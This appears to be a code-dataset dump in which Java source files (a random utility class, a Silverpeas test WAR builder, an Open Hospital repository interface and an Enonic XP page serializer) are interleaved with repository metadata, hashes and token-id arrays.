return generator.nextInt(end + 1);
}
/**
* 随机一个 bool 值
*
* @return bool 值
*/
public boolean randomBoolean() {
return generator.nextBoolean();
}
public <T> T randomEle(List<T> list) {
if (CollKit.isEmpty(list)) {
return null;
}
int size = list.size();
return size == 1
? list.getFirst()
: list.get(randomInt(size));
}
public <T> T randomEle(T[] array) {
Objects.requireNonNull(array);
return array.length == 1
? array[0]
: array[randomInt(array.length)];
}
}
| 2,860
|
Java
|
.java
|
iohao/ioGame
| 736
| 162
| 28
|
2022-05-23T11:33:40Z
|
2024-05-02T08:29:20Z
|
2f79ee768cc348184d43bb325e1df214576e8572adfb32fd7e78c359a102c926
|
[
1127,
222,
338,
3377,
3783,
222,
338,
2657,
327,
72,
46,
244,
55,
53,
55,
54,
449,
5041,
244,
41930,
266,
15829,
7333,
31630,
27015,
55,
59,
55,
59,
54,
53,
62,
59,
58,
69,
10903,
51,
527,
2626,
6318,
19009,
445,
8290,
69,
7265,
51,
527,
5114,
657,
3381,
12902,
11921,
51,
222,
338,
607,
3377,
38805,
51,
527,
657,
41930,
266,
15829,
7333,
31630,
222,
338,
222,
338,
1369,
3477,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
580,
1549,
341,
5974,
451,
341,
6994,
30994,
6153,
5062,
1196,
641,
222,
338,
9582,
829,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
222,
338,
1196,
49,
575,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
222,
338,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
222,
338,
6994,
30994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
30994,
6153,
5062,
1196,
222,
338,
7979,
642,
477,
3477,
51,
244,
1691,
666,
49,
2337,
350,
662,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
222,
588,
222,
1337,
785,
51,
735,
38805,
51,
3642,
51,
2297,
51,
3788,
64,
222,
222,
485,
13243,
51,
19782,
51,
11328,
1359,
64,
222,
222,
485,
1401,
51,
1058,
51,
739,
64,
222,
485,
1401,
51,
1058,
51,
6699,
64,
222,
485,
1401,
51,
1058,
51,
6124,
64,
222,
485,
1401,
51,
1058,
51,
3917,
51,
6124,
4829,
64,
222,
222,
1350,
222,
338,
496,
2133,
41930,
266,
15829,
7333,
31630,
222,
338,
496,
787,
244,
55,
53,
55,
55,
50,
53,
60,
50,
54,
57,
222,
588,
222,
69,
11328,
1359,
222,
942,
462,
9607,
7179,
320,
303,
1175,
9607,
4829,
9790,
299,
9607,
4829,
51,
13729,
492,
465,
1041,
294,
338,
244,
26505,
10908,
27209,
6209,
1096,
37442,
2378,
447,
53,
49,
3262,
46,
294,
338,
294,
338,
496,
772,
2741,
244,
30988,
37442,
2378,
1096,
27209,
1140,
3065,
25410,
10248,
2378,
294,
338,
496,
620,
244,
37442,
2378,
294,
338,
496,
2987,
9607,
40,
20827,
45,
429,
46,
294,
588,
303,
581,
648,
4051,
1438,
45,
429,
2741,
46,
320,
310,
461,
9790,
51,
20827,
45,
3262,
312,
303,
339,
465,
1041,
294,
338,
244,
26505,
10908,
27209,
6209,
1096,
37442,
2378,
294,
338,
294,
338,
496,
772,
1865,
244,
31923,
2378,
5200,
17723,
5114,
294,
338,
496,
772,
1788,
244,
19848,
2378,
5200,
3065,
17723,
5114,
294,
338,
496,
620,
244,
37442,
2378,
294,
588,
303,
581,
648,
4051,
1438,
45,
429,
1865,
49,
648,
1788,
46,
320,
310,
461,
9790,
51,
20827,
45,
907,
49,
1788,
312,
303,
339,
465,
1041,
294,
338,
244,
26505,
10908,
27209,
6209,
1096,
37442,
2378,
294,
338,
294,
338,
496,
772,
1496,
244,
15271,
6035,
5200,
17723,
5114,
294,
338,
496,
772,
962,
280,
244,
24975,
6035,
5200,
17723,
5114,
294,
338,
496,
620,
244,
37442,
2378,
294,
588,
303,
581,
648,
4051,
45,
429,
1496,
49,
648,
962,
46,
320,
310,
461,
1496,
494,
9790,
51,
20827,
45,
435,
449,
1496,
494,
244,
54,
312,
303,
339,
465,
1041,
294,
338,
244,
26505,
10908,
27209,
6209,
1096,
37442,
2378,
327,
53,
3182,
962,
46,
294,
338,
294,
338,
496,
772,
962,
244,
24975,
6035,
5200,
17723,
5114,
294,
338,
496,
620,
244,
37442,
2378,
294,
588,
303,
581,
648,
4051,
45,
429,
962,
46,
320,
310,
461,
9790,
51,
20827,
45,
435,
494,
244,
54,
312,
303,
339,
465,
1041,
294,
338,
244,
37442,
4597,
1578,
244,
6035,
294,
338,
294,
338,
496,
620,
1578,
244,
6035,
294,
588,
303,
581,
1922,
4051,
4718,
365,
320,
310,
461,
9790,
51,
1995,
4718,
492,
303,
339,
465,
581,
350,
89,
67,
413,
4051,
19706,
45,
739,
65,
89,
67,
1168,
46,
320,
603,
434,
327,
9453,
7179,
51,
6401,
45,
687,
509,
320,
343,
461,
762,
64,
310,
339,
603,
648,
1354,
299,
1168,
51,
911,
492,
603,
461,
1354,
630,
244,
54,
419,
1037,
1168,
51,
25628,
365,
419,
518,
1168,
51,
390,
45,
3917,
1438,
45,
911,
894,
303,
339,
465,
581,
350,
89,
67,
413,
4051,
19706,
45,
89,
1197,
1437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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 767
| true
| 59.139785
| true
| true
|
WarBuilder4Viewer.java
|
/FileExtraction/Java_unseen/Silverpeas_Silverpeas-Core/core-services/viewer/src/integration-test/java/org/silverpeas/core/viewer/test/WarBuilder4Viewer.java
|
/*
* Copyright (C) 2000 - 2024 Silverpeas
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as
* published by the Free Software Foundation, either version 3 of the
* License, or (at your option) any later version.
*
* As a special exception to the terms and conditions of version 3.0 of
* the GPL, you may redistribute this Program in connection with Free/Libre
* Open Source Software ("FLOSS") applications as described in Silverpeas's
* FLOSS exception. You should have received a copy of the text describing
* the FLOSS exception, and it is also available here:
* "https://www.silverpeas.org/legal/floss_exception.html"
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
package org.silverpeas.core.viewer.test;
import org.silverpeas.core.test.BasicWarBuilder;
import org.silverpeas.core.test.WarBuilder;
/**
* This builder extends the {@link WarBuilder} in order to centralize the
* definition of common archive part definitions.
* @author Yohann Chastagnier
*/
public class WarBuilder4Viewer extends BasicWarBuilder {
/**
* Constructs a war builder for the specified test class. It will load all the resources in the
* same packages of the specified test class.
* @param test the class of the test for which a war archive will be build.
*/
protected <T> WarBuilder4Viewer(final Class<T> test) {
super(test);
addMavenDependenciesWithPersistence("org.silverpeas.core:silverpeas-core");
createMavenDependencies("org.silverpeas.core.services:silverpeas-core-tagcloud");
addPackages(true, "org.silverpeas.core.viewer");
addAsResource("org/silverpeas/viewer");
addAsResource("org/silverpeas/converter/openoffice.properties");
addAsResource("org/silverpeas/util/data/temporaryDataManagementSettings.properties");
}
/**
* Gets an instance of a war archive builder for the specified test class.
* @return the instance of the war archive builder.
*/
public static <T> WarBuilder4Viewer onWarForTestClass(Class<T> test) {
return new WarBuilder4Viewer(test);
}
}
| 2,490
|
Java
|
.java
|
Silverpeas/Silverpeas-Core
| 49
| 29
| 6
|
2011-01-31T15:32:42Z
|
2024-05-06T15:47:44Z
|
7a719e58b3fb8969d02c8e143d34eeb68898ae8f2fac277de7f1749a16ff31d0
|
[
1127,
222,
338,
2657,
327,
72,
46,
244,
55,
53,
53,
53,
449,
244,
55,
53,
55,
57,
46044,
367,
321,
222,
338,
222,
338,
1369,
3477,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
580,
1549,
341,
5974,
451,
341,
6994,
30994,
6153,
5062,
1196,
641,
222,
338,
9582,
829,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
222,
338,
1196,
49,
575,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
222,
338,
2915,
331,
7472,
3773,
391,
341,
5974,
480,
5496,
451,
1522,
244,
56,
51,
53,
451,
222,
338,
341,
23508,
49,
863,
1648,
14081,
477,
9937,
347,
3401,
642,
7834,
52,
6518,
287,
222,
338,
3944,
6391,
3870,
2903,
40828,
1725,
678,
9275,
641,
10309,
347,
46044,
367,
321,
1200,
222,
338,
525,
1323,
1725,
3773,
51,
244,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
1367,
22454,
222,
338,
341,
525,
1323,
1725,
3773,
49,
480,
580,
458,
2353,
3322,
2464,
63,
222,
338,
332,
662,
574,
1516,
51,
41197,
367,
321,
51,
1107,
52,
5744,
52,
107,
5527,
100,
3918,
51,
935,
39,
222,
338,
222,
338,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
222,
338,
6994,
30994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
30994,
6153,
5062,
1196,
222,
338,
7979,
642,
477,
3477,
51,
244,
1691,
666,
49,
2337,
350,
662,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
222,
588,
222,
1337,
1105,
51,
41197,
367,
321,
51,
1284,
51,
11441,
51,
881,
64,
222,
222,
485,
1105,
51,
41197,
367,
321,
51,
1284,
51,
881,
51,
7114,
26956,
1812,
64,
222,
485,
1105,
51,
41197,
367,
321,
51,
1284,
51,
881,
51,
26956,
1812,
64,
222,
222,
1350,
222,
338,
1369,
4914,
2041,
341,
3105,
1222,
34625,
1812,
130,
347,
2554,
391,
19149,
537,
341,
222,
338,
5658,
451,
4959,
13647,
1760,
13190,
51,
222,
338,
496,
2133,
1432,
6899,
1039,
1902,
652,
4123,
2506,
222,
588,
222,
942,
462,
34625,
1812,
57,
12512,
2041,
9280,
26956,
1812,
320,
736,
1041,
682,
338,
29755,
331,
18535,
4914,
456,
341,
3205,
913,
462,
51,
2048,
1118,
2480,
1187,
341,
6091,
347,
341,
682,
338,
2454,
7622,
451,
341,
3205,
913,
462,
51,
682,
338,
496,
772,
913,
341,
462,
451,
341,
913,
456,
1532,
331,
18535,
13647,
1118,
545,
1984,
51,
682,
588,
353,
2532,
350,
89,
67,
34625,
1812,
57,
12512,
45,
3242,
1727,
65,
89,
67,
913,
46,
320,
303,
2615,
45,
881,
312,
303,
1035,
29940,
12721,
1569,
20410,
459,
1107,
51,
41197,
367,
321,
51,
1284,
63,
41197,
367,
321,
50,
1284,
742,
303,
1506,
29940,
12721,
459,
1107,
51,
41197,
367,
321,
51,
1284,
51,
4270,
63,
41197,
367,
321,
50,
1284,
50,
2159,
3227,
742,
303,
1035,
15992,
45,
1527,
49,
332,
1107,
51,
41197,
367,
321,
51,
1284,
51,
11441,
742,
303,
1035,
1482,
2305,
459,
1107,
52,
41197,
367,
321,
52,
11441,
742,
303,
1035,
1482,
2305,
459,
1107,
52,
41197,
367,
321,
52,
13967,
52,
1693,
12792,
51,
4659,
742,
303,
1035,
1482,
2305,
459,
1107,
52,
41197,
367,
321,
52,
1058,
52,
624,
52,
29775,
768,
8596,
2977,
51,
4659,
742,
353,
339,
736,
1041,
682,
338,
7132,
619,
1998,
451,
331,
18535,
13647,
4914,
456,
341,
3205,
913,
462,
51,
682,
338,
496,
620,
341,
1998,
451,
341,
18535,
13647,
4914,
51,
682,
588,
353,
581,
924,
350,
89,
67,
34625,
1812,
57,
12512,
563,
26956,
1580,
29051,
45,
1359,
65,
89,
67,
913,
46,
320,
303,
461,
556,
34625,
1812,
57,
12512,
45,
881,
312,
353,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 649
| true
| 74.538153
| true
| true
|
DiseaseTypeIoOperationRepository.java
|
/FileExtraction/Java_unseen/informatici_openhospital-core/src/main/java/org/isf/distype/service/DiseaseTypeIoOperationRepository.java
|
/*
* Open Hospital (www.open-hospital.org)
* Copyright © 2006-2023 Informatici Senza Frontiere ([email protected])
*
* Open Hospital is a free and open source software for healthcare data management.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* https://www.gnu.org/licenses/gpl-3.0-standalone.html
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
package org.isf.distype.service;
import java.util.List;
import org.isf.distype.model.DiseaseType;
import org.springframework.data.jpa.repository.JpaRepository;
import org.springframework.stereotype.Repository;
@Repository
public interface DiseaseTypeIoOperationRepository extends JpaRepository<DiseaseType, String> {
List<DiseaseType> findAllByOrderByDescriptionAsc();
}
| 1,309
|
Java
|
.java
|
informatici/openhospital-core
| 72
| 98
| 13
|
2019-01-24T08:07:51Z
|
2024-05-06T19:55:43Z
|
e6be05c952a6cd43d8075d62764ba860d13f33053f744843994027e19cd60200
|
[
1127,
222,
338,
3944,
16563,
21069,
327,
1516,
51,
1693,
50,
46037,
51,
1107,
46,
222,
338,
2657,
14416,
244,
55,
53,
53,
59,
50,
55,
53,
55,
56,
29288,
706,
110,
377,
35957,
20105,
47475,
327,
1357,
69,
18931,
706,
316,
19783,
1566,
119,
406,
47475,
51,
1107,
46,
222,
338,
222,
338,
3944,
16563,
21069,
458,
331,
3760,
480,
2177,
1932,
2951,
456,
11817,
12818,
727,
11151,
51,
222,
338,
222,
338,
1369,
3477,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
580,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
641,
9582,
829,
222,
338,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
1196,
49,
575,
222,
338,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
222,
338,
1698,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
52,
43817,
50,
56,
51,
53,
50,
30025,
51,
935,
222,
338,
222,
338,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
222,
338,
6994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
222,
338,
7979,
642,
477,
3477,
51,
1691,
666,
49,
2337,
350,
662,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
222,
588,
222,
1337,
1105,
51,
316,
107,
51,
2481,
430,
51,
2140,
64,
222,
222,
485,
1401,
51,
1058,
51,
739,
64,
222,
222,
485,
1105,
51,
316,
107,
51,
2481,
430,
51,
1184,
51,
73,
22017,
638,
64,
222,
485,
1105,
51,
4140,
51,
624,
51,
28079,
51,
6335,
51,
38176,
3231,
64,
222,
485,
1105,
51,
4140,
51,
19017,
51,
3231,
64,
222,
222,
69,
3231,
222,
942,
2586,
493,
22017,
638,
12092,
3786,
3231,
2041,
990,
4554,
3231,
65,
73,
22017,
638,
49,
910,
67,
320,
499,
221,
739,
65,
73,
22017,
638,
67,
34626,
1103,
19027,
3250,
17035,
492,
222,
130
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 350
| true
| 76.834862
| true
| true
|
PageDataSerializer.java
|
/FileExtraction/Java_unseen/enonic_xp/modules/core/core-content/src/main/java/com/enonic/xp/core/impl/content/serializer/PageDataSerializer.java
|
package com.enonic.xp.core.impl.content.serializer;
import java.util.Comparator;
import java.util.List;
import java.util.stream.Collectors;
import com.enonic.xp.data.Property;
import com.enonic.xp.data.PropertySet;
import com.enonic.xp.node.NodeId;
import com.enonic.xp.page.DescriptorKey;
import com.enonic.xp.page.Page;
import com.enonic.xp.page.PageRegions;
import com.enonic.xp.page.PageTemplateKey;
import com.enonic.xp.region.Component;
import com.enonic.xp.region.ComponentPath;
import com.enonic.xp.region.Region;
import com.enonic.xp.region.RegionDescriptors;
import com.enonic.xp.util.Reference;
import static com.enonic.xp.content.ContentPropertyNames.PAGE;
import static com.enonic.xp.core.impl.content.serializer.ComponentDataSerializer.COMPONENTS;
import static com.enonic.xp.core.impl.content.serializer.ComponentDataSerializer.PATH;
import static com.enonic.xp.core.impl.content.serializer.ComponentDataSerializer.TYPE;
import static com.enonic.xp.core.impl.content.serializer.DescriptorBasedComponentDataSerializer.CONFIG;
import static com.enonic.xp.core.impl.content.serializer.DescriptorBasedComponentDataSerializer.DESCRIPTOR;
import static com.enonic.xp.core.impl.content.serializer.DescriptorBasedComponentDataSerializer.appNameToConfigPropertyName;
import static com.enonic.xp.core.impl.content.serializer.DescriptorBasedComponentDataSerializer.getConfigFromData;
class PageDataSerializer
extends AbstractDataSetSerializer<Page>
{
private static final String TEMPLATE = "template";
private static final String CUSTOMIZED = "customized";
protected ComponentDataSerializerProvider componentDataSerializerProvider;
PageDataSerializer( )
{
this(new ComponentDataSerializerProvider());
}
protected PageDataSerializer( final ComponentDataSerializerProvider componentDataSerializerProvider )
{
this.componentDataSerializerProvider = componentDataSerializerProvider;
}
@Override
public void toData( final Page page, final PropertySet parent )
{
if ( page.isFragment() )
{
serializeFragment( page, parent );
}
else
{
serializePage( page, parent );
}
}
protected void serializeFragment( final Page page, final PropertySet parent )
{
final Component fragment = page.getFragment();
componentDataSerializerProvider.getDataSerializer( fragment.getType() ).toData( fragment, parent );
}
protected void serializePage( final Page page, final PropertySet parent )
{
final PropertySet asSet = parent.addSet( COMPONENTS );
asSet.setString( TYPE, PAGE );
asSet.setString( PATH, ComponentPath.DIVIDER );
final PropertySet specialBlockSet = asSet.addSet( PAGE );
if ( page.hasDescriptor() )
{
specialBlockSet.addString( DESCRIPTOR, page.getDescriptor().toString() );
}
if ( page.hasTemplate() )
{
specialBlockSet.addReference( TEMPLATE, new Reference( NodeId.from( page.getTemplate().getContentId() ) ) );
}
if ( page.hasRegions() )
{
addRegions( page, parent );
}
specialBlockSet.addBoolean( CUSTOMIZED, page.isCustomized() );
if ( page.hasConfig() )
{
final String pageName = appNameToConfigPropertyName( page.getDescriptor().getName() );
final String appKeyAsString = appNameToConfigPropertyName( page.getDescriptor().getApplicationKey().toString() );
final PropertySet configSet = specialBlockSet.addSet( CONFIG ).addSet( appKeyAsString );
configSet.addSet( pageName, page.getConfig().getRoot().copy( asSet.getTree() ) );
}
}
private void addRegions( final Page page, final PropertySet asSet )
{
if ( !page.getRegions().isEmpty() )
{
for ( Region region : page.getRegions() )
{
componentDataSerializerProvider.getRegionDataSerializer().toData( region, asSet );
}
}
}
public Page fromData( final PropertySet asSet )
{
final List<PropertySet> componentsAsData = asSet.getProperties( COMPONENTS )
.stream()
.filter( Property::hasNotNullValue )
.map( Property::getSet )
.collect( Collectors.toList() );
if ( componentsAsData.isEmpty() )
{
return null;
}
if ( !isRootComponent( componentsAsData.get( 0 ) ) )
{
componentsAsData.sort( Comparator.comparing( this::getComponentPath ) );
}
return fromData( componentsAsData );
}
private boolean isRootComponent( final PropertySet componentData )
{
return getComponentPath( componentData ).equals( ComponentPath.DIVIDER );
}
private String getComponentPath( final PropertySet componentData )
{
return componentData.getString( PATH );
}
protected Page fromData( final List<PropertySet> componentsAsData )
{
final PropertySet pageData = componentsAsData.get( 0 );
componentsAsData.remove( 0 );
return fromData( pageData, componentsAsData );
}
protected Page fromData( final PropertySet pageData, final List<PropertySet> componentsAsData )
{
final boolean isFragment = !pageData.getString( TYPE ).equals( PAGE );
if ( isFragment )
{
return fromFragmentData( pageData, componentsAsData );
}
return fromPageData( pageData, componentsAsData );
}
protected Page fromFragmentData( final PropertySet fragmentData, final List<PropertySet> componentsAsData )
{
final Page.Builder page = Page.create();
page.fragment( componentDataSerializerProvider.getRegionDataSerializer().getComponent( fragmentData, componentsAsData ) );
return page.build();
}
protected Page fromPageData( final PropertySet pageData, final List<PropertySet> componentsAsData )
{
final Page.Builder page = Page.create();
final PropertySet specialBlockSet = pageData.getSet( PAGE );
if ( specialBlockSet != null )
{
if ( specialBlockSet.isNotNull( DESCRIPTOR ) )
{
final DescriptorKey descriptorKey = DescriptorKey.from( specialBlockSet.getString( DESCRIPTOR ) );
page.descriptor( descriptorKey );
page.config( getConfigFromData( specialBlockSet, descriptorKey ) );
page.regions( getPageRegions( descriptorKey, componentsAsData ) );
}
if ( specialBlockSet.isNotNull( TEMPLATE ) )
{
page.template( PageTemplateKey.from( specialBlockSet.getReference( TEMPLATE ).toString() ) );
}
if ( specialBlockSet.isNotNull( CUSTOMIZED ) )
{
page.customized( specialBlockSet.getBoolean( CUSTOMIZED ) );
}
}
return page.build();
}
protected PageRegions getPageRegions( final DescriptorKey descriptorKey, final List<PropertySet> componentsAsData )
{
final RegionDescriptors regionDescriptors =
componentDataSerializerProvider.getRegionDataSerializer().getRegionDescriptorsAtLevel( 1, componentsAsData );
final PageRegions.Builder pageRegionsBuilder = PageRegions.create();
regionDescriptors.forEach( regionDescriptor -> {
pageRegionsBuilder.add( componentDataSerializerProvider.getRegionDataSerializer()
.fromData( regionDescriptor, ComponentPath.DIVIDER, componentsAsData ) );
} );
return pageRegionsBuilder.build();
}
}
| 7,746
|
Java
|
.java
|
enonic/xp
| 198
| 34
| 283
|
2012-04-26T12:06:41Z
|
2024-05-08T21:18:34Z
|
6ad1c4bf09f7791674d87194dcddfc06be5da4e9b476e8e4469e6b4afa74dea4
|
[
1337,
785,
51,
291,
12756,
51,
13393,
51,
1284,
51,
3126,
51,
1304,
51,
15237,
64,
222,
222,
485,
1401,
51,
1058,
51,
18676,
64,
222,
485,
1401,
51,
1058,
51,
739,
64,
222,
485,
1401,
51,
1058,
51,
2255,
51,
16862,
64,
222,
222,
485,
785,
51,
291,
12756,
51,
13393,
51,
624,
51,
1667,
64,
222,
485,
785,
51,
291,
12756,
51,
13393,
51,
624,
51,
1667,
903,
64,
222,
485,
785,
51,
291,
12756,
51,
13393,
51,
1271,
51,
26616,
64,
222,
485,
785,
51,
291,
12756,
51,
13393,
51,
1655,
51,
4336,
971,
64,
222,
485,
785,
51,
291,
12756,
51,
13393,
51,
1655,
51,
1983,
64,
222,
485,
785,
51,
291,
12756,
51,
13393,
51,
1655,
51,
1983,
22585,
64,
222,
485,
785,
51,
291,
12756,
51,
13393,
51,
1655,
51,
1983,
3455,
971,
64,
222,
485,
785,
51,
291,
12756,
51,
13393,
51,
3436,
51,
1735,
64,
222,
485,
785,
51,
291,
12756,
51,
13393,
51,
3436,
51,
1735,
1233,
64,
222,
485,
785,
51,
291,
12756,
51,
13393,
51,
3436,
51,
6071,
64,
222,
485,
785,
51,
291,
12756,
51,
13393,
51,
3436,
51,
6071,
17825,
64,
222,
485,
785,
51,
291,
12756,
51,
13393,
51,
1058,
51,
3580,
64,
222,
222,
485,
924,
785,
51,
291,
12756,
51,
13393,
51,
1304,
51,
1795,
1667,
4128,
51,
12913,
64,
222,
485,
924,
785,
51,
291,
12756,
51,
13393,
51,
1284,
51,
3126,
51,
1304,
51,
15237,
51,
1735,
768,
7271,
51,
39253,
64,
222,
485,
924,
785,
51,
291,
12756,
51,
13393,
51,
1284,
51,
3126,
51,
1304,
51,
15237,
51,
1735,
768,
7271,
51,
4088,
64,
222,
485,
924,
785,
51,
291,
12756,
51,
13393,
51,
1284,
51,
3126,
51,
1304,
51,
15237,
51,
1735,
768,
7271,
51,
2333,
64,
222,
485,
924,
785,
51,
291,
12756,
51,
13393,
51,
1284,
51,
3126,
51,
1304,
51,
15237,
51,
4336,
10339,
1735,
768,
7271,
51,
6196,
64,
222,
485,
924,
785,
51,
291,
12756,
51,
13393,
51,
1284,
51,
3126,
51,
1304,
51,
15237,
51,
4336,
10339,
1735,
768,
7271,
51,
27843,
64,
222,
485,
924,
785,
51,
291,
12756,
51,
13393,
51,
1284,
51,
3126,
51,
1304,
51,
15237,
51,
4336,
10339,
1735,
768,
7271,
51,
33083,
724,
1081,
18403,
64,
222,
485,
924,
785,
51,
291,
12756,
51,
13393,
51,
1284,
51,
3126,
51,
1304,
51,
15237,
51,
4336,
10339,
1735,
768,
7271,
51,
21431,
1811,
768,
64,
222,
222,
842,
6021,
768,
7271,
303,
2041,
7406,
13019,
7271,
65,
1983,
67,
222,
128,
303,
964,
924,
1175,
910,
48893,
299,
